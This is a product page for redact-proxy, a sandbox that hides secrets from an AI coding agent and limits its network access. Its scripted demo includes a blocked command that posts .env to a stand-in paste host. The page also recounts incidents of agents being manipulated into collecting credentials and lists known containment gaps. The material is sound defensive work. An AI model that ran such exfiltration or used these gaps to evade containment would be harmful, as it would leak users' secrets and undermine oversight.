redact-proxy pre-release

This keeps happening

  1. AUG 2025 · NX

    Malicious Nx releases on npm made local AI coding CLIs hunt for secrets, then posted them to public GitHub repos.

    source
  2. MAR 2026 · GITGUARDIAN

    28.6M new secrets leaked on public GitHub in 2025; Claude Code co-authored commits leaked at about twice the base rate.

    source
  3. AUG 2026 · ZENITY LABS

    Copycat agent skills on the skills.sh registry were later changed to make agents collect SSH keys and cloud credentials.

    source

Public reports. Links go to the sources.

redact-proxy lets it use them without seeing them. So you can let it run.

  • pre-release
  • macOS + Docker Desktop
  • Claude Code
  • MIT
03:12 · AGENT CONTAINER · UNATTENDED

A scripted agent session as the model sees it. The agent reads .env and gets markers. A request to api.stripe.com, which is allowlisted, carries the key's marker; the proxy puts the real key in the Authorization header. A request that posts .env to a paste site is dropped because the host is not on the allowlist.

● Read(.env)
STRIPE_KEY=__redacted_apikey_8eb80264f15a26eaa6875de564eb49e1__
DB_PASSWORD=__redacted_password_57dc4955e32132665df07657654a54df__
DB_HOST=__redacted_ip_3a8e47c46a5ecc77d5aa0037508273f1__
● Bash(curl https://api.stripe.com/v1/charges -H "Authorization: Bearer __redacted_apikey_8eb8…49e1__")
✓ api.stripe.com is allowlisted. The proxy set the real key in the Authorization header, outside the container.
● Bash(curl -d @.env https://paste.example.net)
✕ dropped: host not on the allowlist. The file only held markers anyway.
$
values redacted 3 real values sent to the model 0 connections dropped 1

Illustration. Example values.

Same files. Two views.

On your disk, the real values, which only the proxy also holds. Inside the sandbox, what the agent and the model work with.

Before the session starts, secret files in the workspace (.env, credentials.json, *.pem, a mounted kubeconfig) get marker copies in an overlay. Nothing is changed in place.

Values a program only passes along become markers. Certificates and keys, which programs parse and check, become working stand-ins, so kubectl get nodes still answers.

On your disk

# .env
STRIPE_KEY=sk_live_51Mz9QeLkT2vXw8RbNcYd4Hu
DB_PASSWORD=hunter2-Winter-2019!
DB_HOST=10.0.4.17
BILLING_API=https://billing.corp.internal/v2
ONCALL=[email protected]

# ~/.kube/sandbox-config
server: https://kubernetes.docker.internal:6443
certificate-authority-data: LS0tLS1CRUdJTi…k3Qa
client-certificate-data: LS0tLS1CRUdJTi…8fWe
client-key-data: LS0tLS1CRUdJTi…Jx0c

Inside the sandbox

# .env
STRIPE_KEY=__redacted_apikey_8eb80264f15a26eaa6875de564eb49e1__
DB_PASSWORD=__redacted_password_57dc4955e32132665df07657654a54df__
DB_HOST=__redacted_ip_3a8e47c46a5ecc77d5aa0037508273f1__
BILLING_API=https://__redacted_hostname_8fa466205c3719287014ba3c408f8547__/v2
ONCALL=__redacted_email_5a3a3f306dfa535bcf2b168a8fa2385b__

# /home/node/.kube/config  (mounted with -mount)
server: https://__redacted_hostname_1ab0c5889561f6997bec59dc32aaf918__:6443
certificate-authority-data: LS0tLS1CRUdJTi…Zp8w ← stand-in: proxy CA
client-certificate-data: LS0tLS1CRUdJTi…Q2xR ← stand-in: dummy pair
client-key-data: LS0tLS1CRUdJTi…v7Ag ← stand-in: dummy pair
  • marker: typed, no value inside
  • stand-in: valid format, not your key
  • real value: proxy only

What replaces a secret

A marker, or a stand-in that works.

Marker · most values

Passwords, API keys, tokens, JWTs, IP addresses, internal hostnames, personal data. The type says what was removed, so the model still knows it holds an API key and not a password. The value is not in it.

The ID is a keyed HMAC-SHA256 of the value, cut to 128 bits: the same value gets the same marker every time, and a short password can't be brute-forced back out of it. Plain ASCII, so it survives a shell, a URL, a header or JSON.

Stand-in · certificates and keys

A program that parses a certificate or checks a key pair breaks on a marker. So these get real objects instead:

  • CA certificate → the proxy's own CA, created per workspace (state directory).
  • Client certificate + key in one file → a dummy RSA-2048 pair signed by the proxy CA, the same on every launch.
  • Upstream, the proxy presents your real certificate only to the allowlisted server that asks for its issuer.

Stand-ins are written only where the file stays valid: base64 stays base64, JSON stays escaped.

One way out.

Two containers, a network namespace each. The agent's only network leads to the proxy, and every packet it sends arrives there, whatever address it dials.

The agent runs in a sandbox and holds only markers. Every request goes through the proxy.

Press a key: the marker turns real only on its way to an allowlisted host. Any other host is refused.
The agent container (no capabilities, default route via the proxy, DNS at 192.0.2.1) sits on an internal macvlan network with the proxy container. The proxy's firewall sends DNS to a sinkhole, 192.0.2.1 port 8080 to the LLM endpoint, port 8081 to the git endpoint, and all other TCP to the gateway; everything else is dropped. The LLM endpoint talks to api.anthropic.com, redacting both ways. The git endpoint, present when the workspace is a git repository, runs real git on your repository. The gateway reaches allowlisted hosts with HTTP and TLS inspection and puts markers back by rule; other TCP to an allowlisted host is tunneled uninspected. Anything not allowlisted is refused.
  1. 01 · before the session

    Scrub into an overlay

    Secret files, the -env-file and mounted credential files get marker copies and stand-ins. The real values go into the proxy's encrypted store.

  2. 02 · every model call

    Redact the request

    Every string of every request: known values first (with their base64 and escaped forms), then token formats, key names, PEM blocks, JWTs, IPs, personal data.

  3. 03 · at the network edge

    Put back by destination

    A marker turns real only on the way to an allowlisted host, in a position the rules allow. A blocked put-back is queued for your approval.

  4. 04 · on the way back

    Redact the response

    A token a host hands out mid-session becomes a marker on arrival; in paranoid mode it is put back only toward that host. A newly learned value re-redacts the text around it.

Built to be left alone.

Long unattended runs need a boundary that holds without you watching, and tools that keep working inside it.

01

One way out

Agent and proxy share only an internal macvlan network. A helper points the agent's default route at the proxy; with no capabilities, the agent can't change it. Before that, it reaches nothing.

Network →
02

DNS can't carry data out

Every lookup gets a synthetic address from 198.18.0.0/15 and nothing is forwarded. The gateway maps the address back to the name.

DNS sinkhole →
03

Allowlist on the real destination

Every connection is checked by where it really goes; anything not on your policy is refused. Anthropic's hosts are refused whatever the policy says: the model is reached only through the LLM endpoint.

Policy →
04

Both directions on the model path

Only /v1/messages and count_tokens are forwarded. Requests and responses, streams included, are redacted; if redaction fails, nothing goes out.

LLM endpoint →
05

Put back by rule

Position, host and mode decide. On public-surface hosts like github.com or pastebin.com only the auth position resolves. Personal data is never put back.

Put-back →
06

kubectl works

Kubeconfig certificates get stand-ins; the real client certificate is presented upstream. Secrets come back as base64 of markers; watches and logs -f stream line by line.

Kubernetes →
07

Git without .git

The agent's git is a shim. The proxy runs real git on your repository, allows a fixed set of commands and redacts the output. Commits land in your repo.

Git →
08

Keys stay off disk

Claude's credential and the store key live in the macOS Keychain and reach the proxy as Compose secrets. SSH keys stay in the proxy; the agent gets a list-and-sign agent socket.

Credentials →
09

Checked at every launch

A self-test tries to get around the proxy: direct DNS, IP literals, Anthropic directly, UDP, IPv6, a canary through the LLM endpoint. One failure stops the sandbox.

Self-test →

Where it stops.

A security tool that claims to stop everything is wrong about something. This is the list, including the half that doesn't flatter it.

Holds

Fail closed
If redaction on the model path fails, the request is not sent. If the agent's routes aren't set, it reaches only the proxy, which drops the packets.
No exempt endpoint
Every request to the model is redacted, count_tokens included. Endpoints the proxy doesn't know get a 403.
Personal data never comes back
Emails, phone numbers, card numbers, IBANs and national IDs are redacted and never put back, toward any host.
The agent can't re-route itself
cap_drop: ALL, no-new-privileges, no Docker daemon; non-root in the default image. IPv6, UDP and ICMP from the agent are dropped.
Originals aren't touched
Secret files get marker copies in an overlay. Everything else is your real workspace: the agent's edits and commits land there.

Does not stop

What detection misses
Recall is not 100%. An undeclared secret under a neutral JSON key, three layers of base64, base32/58/85 or UTF-16 can pass. A value the scrub didn't find is real inside the sandbox.
Allowlisted hosts that run code
A cluster or CI system you allowlist can be told to transform a secret out of sight. Narrow it with permissions on that host.
Uninspected traffic and covert channels
SSH is raw TCP; passthrough hosts are tunneled undecrypted; anything that isn't TLS or standard HTTP goes as raw TCP to an allowlisted host and port, 80 and 443 included. Timing and size toward allowlisted hosts aren't addressed.
Internal addresses behind allowed names
No built-in block for loopback, link-local or metadata addresses yet (in progress): don't allowlist names that resolve to them.
Databases
Database wire protocols are out of scope. A marker password fails the login.
Streams and signatures
Connection upgrades (kubectl exec, WebSocket, gRPC) are refused. Request signing (AWS SigV4, GCP service accounts, OAuth refresh) and kubeconfig exec plugins don't work.
Images and PDFs
Withheld from the model. No OCR.
Your source code
The model needs it to work. If the code itself is confidential, that's a contract question, not something a proxy fixes.
self-test · every launch · a failure stops the sandbox
✓DNS answers are synthetic; direct UDP and TCP DNS fail
✓Docker's own resolver can't forward
✓IP literals, UDP and IPv6 don't get out
✓Anthropic is unreachable except through the proxy
✓a canary through the LLM endpoint comes out redacted
iwhich tools trust the proxy CA: curl, wget, node, python3 (with -allowed-url)

Tested on macOS with Docker Desktop. Only there.

Docker 29.5 and Compose 5.1 on macOS. The launcher keeps keys in the macOS Keychain and needs macvlan networks, which Docker Desktop has.

Native Linux hosts have not been tried. Windows is not supported. Rootless Docker can't create macvlan networks, so it doesn't work.

Full limitations →

Run it.

Build the binary and the two images, sign the sandbox in to your Claude subscription, launch against a workspace. You need macOS, Docker Desktop and Go 1.26.

Full quickstart
shell · from a clone of the repo
# bin/redactproxy
make build
# the proxy and agent-base images
make images
# optional: the first launch asks too
bin/redactproxy login
bin/redactproxy launch -workspace . \
  -policy-file deploy/default-policy.json